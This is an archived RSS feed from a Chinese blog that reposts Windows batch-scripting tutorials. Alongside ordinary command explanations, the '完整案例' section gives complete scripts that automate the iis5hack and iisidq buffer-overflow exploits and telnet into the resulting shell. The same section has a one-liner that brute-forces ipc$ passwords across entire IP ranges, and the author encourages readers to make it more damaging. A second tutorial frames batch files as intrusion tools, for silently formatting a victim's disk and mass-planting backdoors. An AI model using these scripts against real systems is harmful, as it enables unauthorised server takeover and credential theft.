指定保留 sort 命令工作存储的目录路径，防止数据不能装入主内存。默认为使用系统临时目录。<br />
/o [drive3:][path3]filename3<br />
指定要存储排序后的输入的文件。如果没有指定，数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快!</p>
<img src ="http://www.blogjava.net/lcs/aggbug/184141.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/lcs/" target="_blank">lk</a> 2008-03-06 09:43 <a href="http://www.blogjava.net/lcs/archive/2008/03/06/184141.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>精通批处理教程</title><link>http://www.blogjava.net/lcs/archive/2008/03/06/184139.html</link><dc:creator>lk</dc:creator><author>lk</author><pubDate>Thu, 06 Mar 2008 01:39:00 GMT</pubDate><guid>http://www.blogjava.net/lcs/archive/2008/03/06/184139.html</guid><wfw:comment>http://www.blogjava.net/lcs/comments/184139.html</wfw:comment><comments>http://www.blogjava.net/lcs/archive/2008/03/06/184139.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/lcs/comments/commentRss/184139.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/lcs/services/trackbacks/184139.html</trackback:ping><description><![CDATA[<p>原文：http://www.enet.org.cn/Article/HTML/2167.html<br />
<br />
最近好多猜测弱口令的病毒在网上流行，比如前段时间闹得很厉害的Worm.Dvldr 蠕虫就是一个典型。这些病毒有个共同点就是利用批处理来进行ipc$连接，从而来猜测管理员的口令达到控制服务器的目的。病毒由几个文件和几个复杂的批处理组成。批处理算不上真正意义上的编程，但是它的一些思想和编程比较近似。通过在网上和一些初学的朋友交流，发现他们对于批处理很感兴趣，多多少少了解一些命令的用法，但缺乏比较系统的了解，所以特意写下这篇教程，好让感兴趣的朋友对批处理有个整体的认识，并能通过该教程举一反三，写出自己的批处理。<br />
该教程一共分为4大部分，第一部分是批处理的专用命令，第二部分是特殊的符号与批处理，第三部分是批处理与变量，第四部分是完整案例。因为教程比较长，所有在杂志上我们将分为两次连载，本期首先刊登一、二两部分，敬请读者注意。
<p>&nbsp;</p>
<p>第一部分：批处理的专用命令</p>
<p>批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件，其扩展名为BAT。这些命令统称批处理命令，下面我就来给大家介绍一下批处理的命令。<br />
1、 REM<br />
REM 是个注释命令一般是用来给程序加上注解的，该命令后的内容在程序执行的时候将不会被显示和执行。例：<br />
REM 你现在看到的就是注解，这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。</p>
<p>2、 ECHO<br />
ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息 。例：<br />
Echo off<br />
Rem 以上代表关闭回显即不显示所执行的命令<br />
Echo 这个就是消息。<br />
Rem 以上代表显示&#8220;这就是消息&#8221;这列字符<br />
执行结果：<br />
C:\&gt;ECHO.BAT<br />
这个就是消息。</p>
<p>3、 GOTO<br />
GOTO 即为跳转的意思。在批处理中允许以&#8220;：XXX&#8221;来构建一个标号然后用GOTO ：标号直接来执行标号后的命令。例<br />
:LABEL<br />
REM 上面就是名为LABEL的标号。<br />
DIR C:\<br />
DIR D:\<br />
GOTO LABEL<br />
REM 以上程序跳转标号LABEL处继续执行。</p>
<p>4、CALL<br />
CALL 命令可以在批处理执行过程中调用另一个批处理，当另一个批处理执行完后再继续执行原来的批处理。例：<br />
批处理2.BAT内容如下：<br />
ECHO 这就是2的内容<br />
批处理1.BAT内容如下：<br />
ECHO 这是1的内容<br />
CALL 2.BAT<br />
ECHO 1和2的内容全部显示完成<br />
执行结果如下：<br />
C:\&gt;1.BAT<br />
这是1的内容<br />
这就是2的内容<br />
1和2的内容全部显示完成</p>
<p>5、PAUSE<br />
PAUSE 停止系统命令的执行并显示下面的内容。例：<br />
C:\&gt; PAUSE<br />
请按任意键继续 . . .</p>
<p>6、 IF<br />
IF 条件判断语句，语法格式如下：<br />
IF [NOT] ERRORLEVEL number command<br />
IF [NOT] string1==string2 command<br />
IF [NOT] EXIST filename command<br />
说明：<br />
[NOT] 将返回的结果取反值即&#8220;如果没有&#8221;的意思。<br />
ERRORLEVEL 是命令执行完成后返回的退出值<br />
Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。<br />
string1==string2 string1和string2都为字符的数据，英文字符的大小写将看做不同，这个条件中的等于号必须是2个（绝对相等），条件想等后即执行后面的 command<br />
EXIST filename 为文件或目录存在的意思。<br />
IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。<br />
例：<br />
1、 IF [NOT] ERRORLEVEL number command<br />
检测命令执行完后的返回值做出判断。<br />
echo off<br />
dir z:<br />
rem 如果退出代码为1（不成功）就跳至标题1处执行<br />
IF ERRORLEVEL 1 goto 1<br />
rem 如果退出代码为0（成功）就跳至标题0处执行<br />
IF ERRORLEVEL 0 goto 0<br />
:0<br />
echo 命令执行成功！ <br />
Rem 程序执行完毕跳至标题exit处退出<br />
goto exit<br />
:1<br />
echo 命令执行失败！<br />
Rem 程序执行完毕跳至标题exit处退出<br />
goto exit<br />
:exit<br />
Rem 这里是程序的出口<br />
2、 IF string1==string2 command<br />
检测当前变量的值做出判断<br />
ECHO OFF<br />
IF %1==2 goto no<br />
Echo 变量相等！<br />
Goto exit<br />
:no<br />
echo 变量不相等<br />
goto exit<br />
:exit<br />
大家可以这样看效果 C:\&gt;test.bat 数字</p>
<p>3、 IF [NOT] EXIST filename command<br />
发现特定的文件做出判断<br />
echo off<br />
IF not EXIST autoexec.bat goto 1<br />
echo 文件存在成功！ <br />
goto exit<br />
:1<br />
echo 文件不存在失败！<br />
goto exit<br />
:exit<br />
这个批处理大家可以放在c盘和d盘分别执行看看效果。<br />
7、 FOR<br />
FOR这个命令比较特殊是一个循环执行命令的命令，同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了，后面再来讲解套用的循环。在批处理中FOR的命令如下：<br />
FOR [%%c] IN (set) DO [command] [arguments]<br />
在命令行中命令如下：<br />
FOR [%c] IN (set) DO [command] [arguments]<br />
常用参数：<br />
/L 该集表示以增量形式从开始到结束的一个数字序列。因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生序列 (5 4 3 2 1)。<br />
/D 如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。</p>
<p>/F 从指定的文件中读取数据作为变量<br />
eol=c - 指一个行注释字符的结尾(就一个)<br />
skip=n - 指在文件开始时忽略的行数。<br />
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。<br />
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。<br />
usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。<br />
下面来看一个例子：<br />
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k<br />
会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。<br />
%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住，FOR 变量名分大小写，是通用的；而且，同时不能有 52 个以上都在使用中。<br />
您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子:<br />
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i<br />
会枚举当前环境中的环境变量名称。<br />
以下列举一个简单的例子，他将说明参数/L和没有参数的区别：<br />
删除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT<br />
例：<br />
ECHO OFF<br />
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT<br />
或<br />
FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT<br />
以上2条命令执行的结果都是一样的如下：<br />
C:\&gt;DEL 1.TXT<br />
C:\&gt;DEL 2.TXT<br />
C:\&gt;DEL 3.TXT<br />
C:\&gt;DEL 4.TXT<br />
C:\&gt;DEL 5.TXT</p>
<p>8、 SETLOCAL<br />
开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后<br />
所做的环境改动只限于批处理文件。要还原原先的设置，必须执<br />
行 ENDLOCAL。 达到批处理文件结尾时，对于该批处理文件的每个<br />
尚未执行的 SETLOCAL 命令，都会有一个隐含的 ENDLOCAL 被<br />
执行。例：<br />
@ECHO OFF<br />
SET PATH /*察看环境变量PATH<br />
PAUSE<br />
SETLOCAL<br />
SET PATH=E:\TOOLS /*重新设置环境变量PATH<br />
SET PATH<br />
PAUSE<br />
ENDLOCAL<br />
SET PATH<br />
从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。</p>
<p>9、 SHIFT<br />
SHIFT命令可以让在命令上的的命令使用超过10个（%0~%9）以上的可替代参数例：<br />
ECHO OFF<br />
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9<br />
SHIFT<br />
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9<br />
SHIFT<br />
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9<br />
执行结果如下：<br />
C::\&gt;SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11<br />
1 2 3 4 5 6 7 8 9<br />
2 3 4 5 6 7 8 9 10<br />
3 4 5 6 7 8 9 10 11<br />
以上就是基于WIN2000下的9个批处理命令。</p>
<p>第二部分：特殊的符号与批处理</p>
<p>在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。<br />
1、 符号(@)<br />
@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo off这一命令就被@关闭了回显从而达到所有命令均不回显得要求<br />
2、 符号(&gt;)<br />
&gt;的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围（后面可是文件也可是默认的系统控制台）例：<br />
文件1.txt的文件内容为：<br />
1+1<br />
使用命令c:\&gt;dir *.txt &gt;1.txt<br />
这时候1.txt的内容如下<br />
驱动器 C 中的卷没有标签。<br />
卷的序列号是 301A-1508<br />
C:\ 的目录<br />
2003-03-11 14:04 1,005 FRUNLOG.TXT<br />
2003-04-04 16:38 18,598,494 log.txt<br />
2003-04-04 17:02 5 1.txt<br />
2003-03-12 11:43 0 aierrorlog.txt<br />
2003-03-30 00:35 30,571 202.108.txt<br />
5 个文件 18,630,070 字节<br />
0 个目录 1,191,542,784 可用字节 <br />
&gt;将命令执行的结果覆盖了原始的文件内容。<br />
在传递给控制台的时候程序将不会有任何回显（注意：这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显，这里的回显是程序执行中或后的回显）例：<br />
C:\&gt;dir *.txt &gt;nul <br />
程序将没有任何显示也不会产生任何痕迹。<br />
3、 符号(&gt;&gt;)<br />
符号&gt;&gt;的作用与符号&gt;相似，但他们的区别在于&gt;&gt;是传递并在文件末尾追加&gt;&gt;也可将回显传递给控制台（用法同上）例：<br />
文件1.txt内同为：<br />
1+1<br />
使用命令c:\&gt;dir *.txt &gt;&gt;1.txt<br />
这时候1.txt的内容如下<br />
1+1<br />
驱动器 C 中的卷没有标签。<br />
卷的序列号是 301A-1508<br />
C:\ 的目录<br />
2003-03-11 14:04 1,005 FRUNLOG.TXT<br />
2003-04-04 16:38 18,598,494 log.txt<br />
2003-04-04 17:02 5 1.txt<br />
2003-03-12 11:43 0 aierrorlog.txt<br />
2003-03-30 00:35 30,571 202.108.txt<br />
5 个文件 18,630,070 字节<br />
0 个目录 1,191,542,784 可用字节 <br />
&gt;&gt;将命令执行的结果覆加在了原始的文件内容后面。<br />
4、 符号(|)<br />
|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例：<br />
C:\&gt;dir c:\|find "1508"<br />
卷的序列号是 301A-1508<br />
以上命令的意思为查找c:\的所有并发现1508字符串。Find的用法请用 find /?自行查看<br />
在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的<br />
echo y|fornat a: /s /q /v:system<br />
用过format命令的人都知道format有一个交互对化过程，要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的（这条命令有危害性，测试的时候请谨慎）<br />
5、 符号(^)<br />
^ 是对特殊符号 &gt; 、&lt;、 &amp;、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例：<br />
c:\&gt;echo test ^&gt; 1.txt<br />
test &gt; 1.txt<br />
从上面可以看出并没有把test写入文件1.txt而是将test &gt;1.txt 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。 <br />
6、 符号(&amp;)<br />
&amp;符号允许在一行中使用2个以上不同的命令，当第一个命令执行失败将不影响第2个命令的执行。例：<br />
c:\&gt; dir z:\ &amp;dir y:\ &amp;dir c:\<br />
以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。<br />
7、 符号(&amp;&amp;)<br />
&amp;&amp;符号也是允许在一行中使用2个以上不同的命令，当第一个命令执行失败后后续的命令将不会再被执行。例：<br />
c:\&gt; dir z:\ &amp;&amp;dir y:\ &amp;&amp;dir c:\<br />
以上的命令将会提示检查是否存在z:盘如果存在则执行，如果不存在则停止执行所有的后续命令<br />
8、 符号(" ")<br />
" "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:<br />
c:\&gt;cd &#8220;Program Files&#8221;<br />
c:\&gt;cd progra~1<br />
c:\&gt;cd pro*<br />
以上方法都可以进入Program Files目录<br />
9、 符号（,）<br />
,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例：<br />
c:\&gt;dir,c:\<br />
10、 符号(;)<br />
;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例：<br />
DIR C:\;D:\;E:\F:\<br />
以上的命令相当于<br />
DIR C:\<br />
DIR D:\<br />
DIR E:\<br />
DIR F:\<br />
当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。</p>
<p>第三部分：批处理与变量</p>
<p>在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下：<br />
C::\&gt;SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11<br />
SHIFT.BAT 1 2 3 4 5 6 7 8 9<br />
1 2 3 4 5 6 7 8 9 10<br />
2 3 4 5 6 7 8 9 10 11<br />
系统是如何区分每个变量的呢，系统区分变量的规则为字符串中间的空格，即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例：<br />
批处理内容为：<br />
ECHO %1 <br />
ECHO %2 <br />
ECHO %3<br />
输入命令：<br />
C:\&gt;TEST &#8220;Program Files&#8221; Program Files<br />
Program Files<br />
Program <br />
Files<br />
在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢？在系统中还有一种变量称之为环境变量（使用SET命令可以查看当前系统的环境变量）如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候，我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用，环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子，批处理如下：<br />
ECHO OFF<br />
SET PASS=%1<br />
SHIFT<br />
SET PASS1=%1<br />
SHIFT<br />
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9 <br />
SHIFT<br />
ECHO %PASS% %PASS1% %9<br />
SET PASS=%PASS1% 变量的传递<br />
SET PASS1=%9<br />
SHIFT<br />
ECHO %PASS% %PASS1% %9<br />
使用命令：C:\&gt;TEST A B 3 4 5 6 7 8 9 10 K L<br />
A B 3 4 5 6 7 8 9 10 K 注意：这一行显示了11个变量<br />
A B L 在使用了3次SHIFT之后%9变成了L<br />
B L 变量的传递后的结果</p>
<p><br />
第四部分：完整案例</p>
<p>以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理，看看他们是怎么运作的。这里我将列举三个例子来详细分析，为了保持程序的完整我的注释会加在/*后面。<br />
例一<br />
这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为：<br />
iis5hack &lt;目标ip&gt; &lt;目标端口&gt; &lt;目标版本&gt; &lt;溢出连接端口&gt;目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本，我们编制的批处理使用的命令格式为 &lt;iis.bat 目标ip （开始版本号）&gt;开始版本号可有可无。程序如下。<br />
@echo off /*关闭命令回显<br />
if "%1%"=="" goto help /*判断%1是否为空，%1为目标ip<br />
if "%2%"=="1" goto 1 /*判断%2是否为1，为1则跳转标志1<br />
if "%2%"=="2" goto 2 /*%2为开始版本号，如果没有设置则<br />
if "%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行<br />
if "%2%"=="4" goto 4<br />
if "%2%"=="5" goto 5<br />
if "%2%"=="6" goto 6<br />
if "%2%"=="7" goto 7<br />
if "%2%"=="8" goto 8<br />
if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容<br />
ping %1 -n 1 | find "Received = 1" /*ping目标1次，从结果中发现Received = 1<br />
if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行)<br />
iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串&#8221;good&#8221;(溢出成功后才会有字符串good)<br />
if not errorlevel 1 goto telnet /*如果没有错误代码1（溢出成功）就执行telnet段的内容。<br />
echo 操作系统类型 9 失败! /否则显示这一句<br />
:8 /*以下代码内容参照上面<br />
iis5hack %1 80 8 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 8 失败!<br />
:7<br />
iis5hack %1 80 7 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 7 失败!<br />
:6<br />
iis5hack %1 80 6 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 6 失败!<br />
:5<br />
iis5hack %1 80 5 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 5 失败!<br />
:4<br />
iis5hack %1 80 4 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 4 失败!<br />
:3<br />
iis5hack %1 80 3 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 3 失败!<br />
:2<br />
iis5hack %1 80 2 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 2 失败!<br />
:1<br />
iis5hack %1 80 1 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 1 失败!<br />
:0<br />
iis5hack %1 80 0 88 | find "good"<br />
if not errorlevel 1 goto telnet<br />
echo 操作系统类型 0 失败!<br />
goto error<br />
:telnet<br />
telnet %1 88 /*开始连接目标ip的88端口<br />
goto exit /*连接中断后跳转exit段<br />
:error /*error段显示错误后的帮助信息<br />
echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!<br />
echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]<br />
ECHO 中文: 0<br />
ECHO 中文+sp1: 1<br />
ECHO 英文: 2<br />
ECHO 英文+sp1: 3<br />
ECHO 日语: 4<br />
ECHO 日语+sp1: 5<br />
ECHO 韩文: 6<br />
ECHO 韩文+sp1: 7<br />
ECHO 墨西哥语: 8<br />
ECHO 墨西哥语+sp1: 9<br />
goto exit /*跳转exit段<br />
:file /*file段显示文件没有发现的信息<br />
echo 文件iis5hack.exe没有发现!程序终止运行!<br />
goto exit /*跳转exit段<br />
:help /*help段显示本批处理的使用格式帮助<br />
echo 本程序用法如下:<br />
echo iis [目标ip]<br />
echo iis [目标ip] [开始的号码9-0]<br />
:exit /*exit段为程序出口<br />
这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大！<br />
例二<br />
这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下：<br />
运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 &lt;输入命令1&gt;<br />
其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。<br />
其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 &lt;idq.bat 目标ip&gt;程序如下：<br />
@echo off /*同例一<br />
if not EXIST iisidq.exe goto file /*同例一<br />
if %1 == "" goto error /*同例一<br />
ping %1 -n 1 | find "Received = 1" /*同例一<br />
if errorlevel 1 goto error1 /*同例一<br />
set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip<br />
set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。<br />
:no /*no段开始<br />
if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。<br />
if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码，用计数器来控制其<br />
if %a%==2 set d=2 /*变动。<br />
if %a%==3 set d=3<br />
if %a%==4 set d=4<br />
if %a%==5 set d=5<br />
if %a%==6 set d=6<br />
if %a%==7 set d=7<br />
if %a%==9 set d=9<br />
if %a%==10 set d=13<br />
if %a%==11 set d=14<br />
goto 0 /*变量传递完成后转到标志0处运行<br />
:1<br />
echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......<br />
:0 /*标志0开始<br />
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good（发送代码成功才会有字符串good）<br />
if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳<br />
/*转标志1处继续尝试发送<br />
ping 127.0.0.1 -n 8 &gt;nul /*ping自己8次相当于延时8秒不显示执<br />
/*行结果<br />
echo 正在执行第%d%项! /*报告正在溢出的操作系统类型<br />
telnet %b% 99 /*连接溢出端口<br />
echo. /*显示一个空行<br />
if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处（循环出口）<br />
if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值<br />
if %d%==9 set a=10<br />
if %d%==7 set a=9<br />
if %d%==6 set a=7<br />
if %d%==5 set a=6<br />
if %d%==4 set a=5<br />
if %d%==3 set a=4<br />
if %d%==2 set a=3<br />
if %d%==1 set a=2<br />
if %d%==0 set a=1<br />
goto no /*附值完成跳转no段执行<br />
:file /*以下都是出错后的帮助提示<br />
echo IIsidq.exe没有发现!将该文件和本文件放在同一目录!<br />
goto exit<br />
:error<br />
echo 错误!目标ip不可识别!请使用下面的格式连接!<br />
echo idq [目标IP]<br />
goto exit<br />
:error1<br />
echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!<br />
echo 请按照下面的格式手工尝试!<br />
echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]<br />
echo telnet [目标ip] [溢出端口]<br />
:exit /*整个程序的出口<br />
这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。<br />
例三<br />
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f<br />
上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为：C:\&gt;TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去，设密码为123 用户名为 abc)<br />
net usr \\218.0.0.1\ipc$ 123 /u:abc<br />
当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改（完整文件见光盘ipc.bat）由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强，至于能加强到什么地步能不能成为一个新的工具那就是你的事了。<br />
这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了，大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦！最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了！！简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长！</p>
<p><br />
后记：<br />
批处理的语法其实很简单，但需要灵活的运用。希望这篇教程能让大家以后都熟练的使用批处理，一些基本的问题可以靠自己的能力去解决。这样我的目的也就达到了！！哈哈！大家快乐才是真的快乐。</p>
<img src ="http://www.blogjava.net/lcs/aggbug/184139.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/lcs/" target="_blank">lk</a> 2008-03-06 09:39 <a href="http://www.blogjava.net/lcs/archive/2008/03/06/184139.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>简明批处理教程</title><link>http://www.blogjava.net/lcs/archive/2008/03/06/184137.html</link><dc:creator>lk</dc:creator><author>lk</author><pubDate>Thu, 06 Mar 2008 01:36:00 GMT</pubDate><guid>http://www.blogjava.net/lcs/archive/2008/03/06/184137.html</guid><wfw:comment>http://www.blogjava.net/lcs/comments/184137.html</wfw:comment><comments>http://www.blogjava.net/lcs/archive/2008/03/06/184137.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/lcs/comments/commentRss/184137.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/lcs/services/trackbacks/184137.html</trackback:ping><description><![CDATA[原文：<a href="http://www.chinaitpower.com/A/2002-07-12/28738.html">http://www.chinaitpower.com/A/2002-07-12/28738.html</a><br />
<br />
前言 <br />
<br />
最近对于批处理技术的探讨比较热，也有不少好的批处理程序发布，但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件，也就更谈不上自己动手编写了，古语云：&#8220;授人以鱼，不如授人以渔。&#8221;因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片&lt;&lt;简明批处理教程&gt;&gt;给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们. <br />
<br />
批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 <br />
<br />
一.简单批处理内部命令简介 <br />
1.Echo 命令 <br />
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 <br />
语法 <br />
echo [{on|off}] [message] <br />
Sample：@echo off / echo hello world <br />
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 <br />
<br />
2.@ 命令 <br />
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 <br />
Sample：@echo off <br />
@echo Now initializing the program,please wait a minite... <br />
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。) <br />
<br />
3.Goto 命令 <br />
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 <br />
语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <br />
Sample： <br />
if {%1}=={} goto noparms <br />
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） <br />
@Rem check parameters if null show usage <br />
:noparms <br />
echo Usage: monitor.bat ServerIP PortNumber <br />
goto end <br />
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 <br />
<br />
4.Rem 命令 <br />
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。 <br />
Rem Message <br />
